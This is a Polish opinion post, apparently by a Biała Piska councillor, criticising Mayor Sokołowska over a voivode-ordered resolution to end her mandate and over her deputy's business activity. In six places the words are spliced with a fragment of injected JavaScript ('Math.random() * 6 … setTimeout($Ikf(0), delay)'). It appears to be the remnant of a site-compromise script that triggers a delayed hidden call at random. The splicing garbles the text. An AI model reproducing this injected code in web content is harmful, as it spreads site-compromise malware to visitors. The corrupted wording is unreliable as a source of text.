Ręce opadają.

Jeden z ostatnich wpisów burmistrz Sokołowskiej, w którym udostępniła projekt uchwały w sprawie wygaszenia jej mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andatu przez Radę Miejską w Białej Piskiej, jest dla mnie co najmniej niezrozumiały. Zastanawia mnie fakt, czy burmistrz Sokołowska w ogóle wie dlaczego ta uchwała została wprowadzona pod obrady Rady Miejskiej.

Z tego co ja pamiętam to Wojewoda naszego województwa skierował do nas pismo zobowiązujące nas, jako Radę do podjęcia decyzji w sprawie nieprawidłowości w zatrudnieniu burmistrz Sokołowskiej. Te nieprawidłowości zostały wprost wskazane w piśmie od Wojewody. Czego więc czepia się burmistrz Sokołowska? No tego to chyba sama nie wie. Dziwi ją, że wykonujemy obowiązek nałożony przez Wojewodę?

Ja nie bardzo rozumiem w czym burmistrz ma problem. Nawet jeśli Rada podejmie decyzję o wygaszeniu jej mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andatu, to i tak jest to dopiero uchwała, którą wojewoda musi opublikować w Dzienniku Województwa. Burmistrz może ją również oprotestować w różnych instancjach z Naczelnym Sądem Administracyjnym włącznie. Co więc jest złego w tym, że Rada musi tą uchwałę przegłosować? Skoro burmistrz Sokołowska wie, że nic jej nie grozi i postępuje zgodnie z prawem, to czemu tak nerwowo napiera na to, że ktoś chce jej zrobić krzywdę? Jeśli prawo jest po jej stronie to chyba wie, że nic jej nie grozi i może spokojnie czekać na rozstrzygnięcia.

Inna sprawą jest, że może być jednak tak, iż Rada uchylając mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andat burmistrz Sokołowskiej postąpi zgodnie z prawem i obowiązującą ustawą. W takiej sytuacji rozumiem nerwowe podejście burmistrz. Ale w tej sytuacji ciśnie się na usta jedno pytanie. Skoro pani jest tak super przygotowana do wszystkiego (co, moim zdaniem, widać na każdym kroku 😊), to dlaczego nie zwróciła pani uwagi na taką prostą rzecz jak zwolnienie się z pracy? Przecież kandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andydując i obejmując mandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andat wiedziała pani chyba, że jest burmistrzem Białej Piskiej? Jaki więc był problem zwolnić się ze starostwa? Ja mam nadzieję, że nie pomyślała pani, że to się nie  wyda i można będzie mieć z tego niezły ubaw.

Po drugie zastanawia mnie fakt, że jeszcze nie zwolniła pani swojego zastępcy. Sama pani w  czacie show mówiła, że łączenie funkcji z działalnością gospodarczą jest niezgodne z prawem. Też chce pani powiedzieć, że skoro 13 stycznia 2021 zlikwidował działalność, to wszystko jest w porządku? Czy może chce pani powiedzieć, że nic nie wie na ten temat? 25 lutego minie 30 dni od czasu kiedy skierowałem do pani informację na ten temat. Czytała pani? Wie pani coś o tym? Wie pani, że zastępca przez półtora roku pełnił swoją funkcję, prowadząc działalność gospodarczą? Widziała pani, że pisał o tym w swoich oświadczeniach majątkowych, które pani opiniuje? Będzie pani mówić, że nic nie wiedziała? Wie pani, że brak pani reakcji na łamanie prawa przez zastępcę to jest niedopełnienie obowiązków?

Jedno jest pewne. Rada podejmie decyzję, do której zobowiązał ją Wojewoda. Jaka to będzie decyzja? Nie wiem! Na pewno wszystko co Rada robi jest zgodne z prawem. Nawet jeśli Wojewoda lub sąd odrzuci uchwałę Rady, mamy obowiązek nad nią głosować. Skoro burmistrz tego nie wie, że mamy taki obowiązek, to tym bardziej, moim zdaniem, świadczy o jej przygotowaniu do pracy w samorządzie. Andrzej chyba powinien wytłumaczyć.